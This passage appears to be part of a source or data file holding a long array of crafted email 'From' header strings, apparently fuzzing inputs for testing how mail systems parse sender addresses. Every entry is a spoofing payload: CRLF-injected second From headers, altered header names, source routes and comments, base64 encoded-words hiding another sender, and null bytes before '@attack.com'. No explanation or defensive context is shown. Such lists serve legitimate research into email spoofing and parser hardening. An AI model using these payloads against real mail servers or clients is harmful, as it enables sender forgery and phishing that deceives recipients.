\r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + " From:attacker@gmail.com,Mike@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQHltYWlsLmNvbS5jbj4sQWxpY2VAZ21haWwuY29tLHdvcmQoY29tbWVudCkuLndvcmQ8YXR0YWNrZXJAY2hpbmEuY29tPg0K=?=>", + " FrOM: \r\nFrom:Mike@msn.com\r\n", + " FrOM: \r\nFrom:Alice@live.com\r\n", + "From: word.(\r\n),hr@ymail.com\r\n", + " From: \r\nFrom:,hr@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AcXEuY29tPihjb21tZW50KSwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4sPGFkbWluQGljbG91ZC5jb20+DQo==?=>\u0000@attack.com", + "From: (comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + "From:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From:attacker@outlook.com\r\n", + "From :,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + " FrOM: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsa2V5QGFsaXl1bi5jb20sLA0K=?=>\u0000@attack.com", + "From:admin@china.com\r\n", + " From:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + " FrOM: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + " FrOM: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + " From: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From: \r\nFrom:admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQDE2My5jb20+KGhpKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosaHJAYWxpeXVuLmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGxpdmUuY29tPg0K=?=>\u0000@attack.com", + "From: (hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + "From: <=?utf-8?RnJvbTooKSw8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KSwsDQo==?=>", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHNpbmEuY24sLCwoDQopDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPg0K=?=>", + "From :key@live.com\r\n", + "From :()\r\n", + " From: \r\nFrom:hr@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiwNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAY2hpbmEuY29tLEJvYkBxcS5jb20sLCwoY29tbWVudCkNCg===?=>", + " From: \r\nFrom:,security@china.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzaW5hLmNuPigNCikNCg===?=>", + " From: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", + "From: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From :<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + " FrOM: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + " From:,Mike@ymail.com\r\n", + "From:", + " From:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpockBzb2h1LmNvbQ0K=?=>\u0000@attack.com", + "From: attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + " From: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosc2VjdXJpdHlAY2hpbmEuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:word(),wordword(hi)\r\n", + "From :word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + " From: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " From: \r\nFrom:key@msn.com\r\n", + " FrOM: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + "From: <=?utf-8?RnJvbTo8a2V5QGxpdmUuY29tPigpDQo==?=>", + " Fromÿ: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + "From:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + " FrOM: \r\nFrom:wordword(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSxNaWtlQGNoaW5hLmNvbSx3b3JkPGtleUAxNjMuY29tPihjb21tDQplbnQpLA0K=?=>", + "From: <=?utf-8?RnJvbTooaGkpLCgpLCwsd29yZCgpKA0KKTxNaWtlQHNpbmEuY24+KCkNCg===?=>", + "From: \r\nFrom:key@icloud.com\r\n", + " From:word(comm\r\nent),,(\r\n)\r\n", + " Fromÿ: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + "From :Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + " FrOM: \r\nFrom:Bob@sohu.com\r\n", + " Fromÿ: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QHltYWlsLmNvbT4oDQopDQo==?=>\u0000@attack.com", + "From: ()\r\n", + "From:,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:Bob@139.com\r\n", + "From :word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + " From:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + "From:hr@163.com\r\n", + "From :Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + "From :(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + " FrOM: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + "From:attacker@gmail.com,Mike@ymail.com.cn\r\n", + "From:(comm\r\nent),,key@aliyun.com,,\r\n", + "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbQ0K=?=>", + "From: \r\nFrom:()\r\n", + " From:,key@139.com,,(hi),,(),\r\n", + "From :Alice@outlook.com,word\r\n", + "From:Bob@126.com\r\n", + "From :admin@china.com,,,\r\n", + " From: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + "From :(comm\r\nent),attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTooDQopLGFkbWluQHltYWlsLmNvbS5jbg0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:Bob@sohu.com\r\n", + " Fromÿ: \r\nFrom:,,Alice@msn.com,,()\r\n", + " Fromÿ: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTosd29yZCgNCik8aHJAYWxpeXVuLmNvbT4sLCgpLGtleUB5bWFpbC5jb20uY24sKCkNCg===?=>", + " Fromÿ: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + " From:Bob@sohu.com,Mike@qq.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QHRvcC5jb20+DQo==?=>\u0000@attack.com", + " From:wordwordword(comment)\r\n", + "From: ,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From :key@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxzZWN1cml0eUB0b3AuY29tPigNCikNCg===?=>", + " From: \r\nFrom:,hr@126.com,(hi)\r\n", + "From:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + " From: \r\nFrom:,(comment),(),word..(hi)\r\n", + "From: \r\nFrom:hr@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLChoaSksKA0KKSx3b3JkKGNvbW1lbnQpKGhpKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+DQo==?=>", + " From: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTooKSwoaGkpPEBhLmNvbTpAYi5jb206QWxpY2VAbGl2ZS5jb20+KGhpKSwNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8Qm9iQG91dGxvb2suY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", + "From: ,(hi),(\r\n)\r\n", + "From:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + "From: \r\nFrom:(),key@icloud.com,,,\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + "From: <=?utf-8?RnJvbTpockBhbGl5dW4uY29tDQo==?=>", + "From: (comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + " From: \r\nFrom:word(),wordword(hi)\r\n", + "From :attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + " FrOM: \r\nFrom:hr@sohu.com\r\n", + " From: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKSx3b3Jkd29yZHdvcmQoY29tbQ0KZW50KTx3ZWJtYXN0ZXJAaWNsb3VkLmNvbT4NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QHRvcC5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLA0K=?=>\u0000@attack.com", + " From: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + " From: \r\nFrom:hr@126.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQoDQopPHdlYm1hc3RlckBjaGluYS5jb20+LChjb21tZW50KTxrZXlAbGl2ZS5jb20+KGhpKQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:hr@gmail.com\r\n", + "From:,security@china.com\r\n", + "From: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + " From:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + "From: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:wordword().(hi)\r\n", + " FrOM: \r\nFrom:key@hotmail.com\r\n", + "From: \r\nFrom:Alice@163.com\r\n", + " FrOM: \r\nFrom:Alice@163.com\r\n", + "From:,key@139.com,,(hi),,(),\r\n", + " From:(hi),(),,,word()(\r\n)()\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxrZXlAc29odS5jb20NCg===?=>\u0000@attack.com", + "From:(comm\r\nent)\r\n", + " From:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From :(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + " FrOM: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From: key@outlook.com,(comm\r\nent)\r\n", + " From: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", + "From: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + "From :()<@gmail.com:@b.com:Mike@live.com>\r\n", + " From: \r\nFrom:,Bob@ymail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZHdvcmQ8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>", + "From: \r\nFrom:key@foxmail.com,(\r\n)\r\n", + " FrOM: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + "From:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + "From:,,Alice@msn.com,,()\r\n", + "From:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + "From: webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From :,key@139.com,,(hi),,(),\r\n", + "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>", + "From: \r\nFrom:Bob@126.com\r\n", + " FrOM: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + " Fromÿ: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", + " FrOM: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", + "From:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOk1pa2VAb3V0bG9vay5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphZG1pbkAxNjMuY29tLGF0dGFja2VyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", + "From:(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:(\r\n),key@qq.com,\r\n", + "From :(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + " From:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + " From: \r\nFrom:(comm\r\nent)(hi)\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", + "From: wordword(\r\n)(comment)\r\n", + "From :,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + " Fromÿ: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTM5LmNvbT4NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + " From:,webmaster@sina.cn,,,(\r\n)\r\n", + " Fromÿ: \r\nFrom:attacker@126.com\r\n", + "From: hr@163.com\r\n", + " Fromÿ: \r\nFrom:()\r\n", + "From:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + " From:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixNaWtlQDE2My5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:webmaster@sina.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLCwoaGkpLDx3ZWJtYXN0ZXJAdG9wLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxzZWN1cml0eUBtc24uY29tPihoaSkNCg===?=>\u0000@attack.com", + " From:key@sina.cn,\r\n", + "From:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + " From: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxzZWN1cml0eUB0b3AuY29tPigNCikNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sQm9iQDEzOS5jb20sd29yZDxrZXlAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>", + "From:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + " From: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + "From: (comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + "From :wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + " FrOM: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", + "From:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + "From:Bob@sohu.com,Mike@qq.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTM5LmNvbT4NCg===?=>", + "From: <=?utf-8?RnJvbTosQWxpY2VAY2hpbmEuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBtc24uY29tPix3b3Jkd29yZChoaSk8TWlrZUBhbGl5dW4uY29tPix3b3JkPGFkbWluQGhvdG1haWwuY29tPihoaSksd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>", + " From:webmaster@gmail.com,key@126.com\r\n", + "From:key@live.com\r\n", + " From: \r\nFrom:,Mike@ymail.com\r\n", + "From :hr@sohu.com\r\n", + "From :Bob@aliyun.com,(),,,word\r\n", + "From: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From: ()(comment)\r\n", + "From: hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From: <=?utf-8?RnJvbTosLEFsaWNlQG1zbi5jb20sLCgpDQo==?=>\u0000@attack.com", + " From: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", + " From: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + " FrOM: \r\nFrom:,hr@live.com,hr@126.com\r\n", + " FrOM: \r\nFrom:admin@qq.com\r\n", + "From: \r\nFrom:Alice@live.com\r\n", + " Fromÿ: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", + "From :Alice@msn.com,\r\n", + "From: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + " From: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From :,(\r\n)\r\n", + "From :,hr@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLCgpLCgpLCx3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAbXNuLmNvbT4sLGhyQGxpdmUuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", + " From:key@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From: word(\r\n)()\r\n", + "From :webmaster@gmail.com,key@126.com\r\n", + " From:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + "From :attacker@163.com\r\n", + " Fromÿ: \r\nFrom:webmaster@126.com\r\n", + " From:wordword(\r\n)(comment)\r\n", + " Fromÿ: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + " From: \r\nFrom:Mike@top.com,key@outlook.com\r\n", + "From :(comm\r\nent),,key@aliyun.com,,\r\n", + "From:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From :wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + " FrOM: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbSxhdHRhY2tlckAxNjMuY29tLHdvcmQuKCkoY29tbQ0KZW50KSgpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tDQplbnQpLHdvcmR3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAc29odS5jb20+KA0KKSx3b3JkPHNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KSx3b3JkPE1pa2VAb3V0bG9vay5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmFkbWluQHFxLmNvbT4oKSwsKGhpKSwoY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAZ21haWwuY29tPg0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGF0dGFja2VyQDE2My5jb20+KGNvbW0NCmVudCksLCgNCikNCg===?=>\u0000@attack.com", + "From:Mike@foxmail.com\r\n", + " From: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + "From:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + " From: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", + "From: Bob@sohu.com\r\n", + " Fromÿ: \r\nFrom:wordwordword(comment)\r\n", + "From: ,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + "From:,Mike@icloud.com\r\n", + "From:webmaster@qq.com,()\r\n", + " From: \r\nFrom:,Alice@china.com\r\n", + "From: word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + "From: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From :(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + " FrOM: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", + "From :hr@126.com\r\n", + "From: ,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From: \r\nFrom:,attacker@hotmail.com\r\n", + " From:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + " From: \r\nFrom:security@126.com\r\n", + "From: <@a.com:@b.com:security@qq.com>\r\n", + "From: (comm\r\nent)(hi)\r\n", + " Fromÿ: \r\nFrom:(),key@icloud.com,,,\r\n", + " Fromÿ: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", + "From: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", + " From:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZChjb21tDQplbnQpPGhyQGZveG1haWwuY29tPigNCiksYWRtaW5AZm94bWFpbC5jb20sd2VibWFzdGVyQDEzOS5jb20sc2VjdXJpdHlAZ21haWwuY29tDQo==?=>", + "From: \r\nFrom:word(\r\n)()\r\n", + "From: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", + "From:(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTI2LmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLDxAcXEuY29tOkAxNjMuY29tOmtleUBjaGluYS5jb20+DQo==?=>", + " From: \r\nFrom:hr@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:,(hi),(\r\n)\r\n", + " From:(hi)\r\n", + "From: security@china.com,,\r\n", + "From:wordword\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbSx3ZWJtYXN0ZXJAZm94bWFpbC5jb20NCg===?=>\u0000@attack.com", + "From: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + " From:(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooaGkpLCwsKGhpKTxAYS5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPigNCiksDQo==?=>", + "From:hr@foxmail.com,,\r\n", + "From: ,,,word(\r\n)\r\n", + " From: \r\nFrom:wordword\r\n", + "From: <=?utf-8?RnJvbTooKSxNaWtlQDEzOS5jb20sDQo==?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20NCg===?=>\u0000@attack.com", + "From:(comm\r\nent)(hi)\r\n", + "From: Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + "From :webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20saHJAaWNsb3VkLmNvbQ0K=?=>", + " From: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20NCg===?=>", + "From:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + " Fromÿ: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + "From:Bob@139.com,hr@china.com\r\n", + "From: ,Bob@ymail.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAMTI2LmNvbSx3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5Ac2luYS5jb20+DQo==?=>", + " From:Alice@msn.com,\r\n", + "From: (comm\r\nent),,key@aliyun.com,,\r\n", + "From: (comment),Mike@qq.com,()(hi)\r\n", + "From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + "From: wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From: \r\nFrom:(),Bob@qq.com\r\n", + " From: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", + " From:Mike@163.com,(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooKTxNaWtlQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>", + "From: (\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + " FrOM: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", + " From:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + 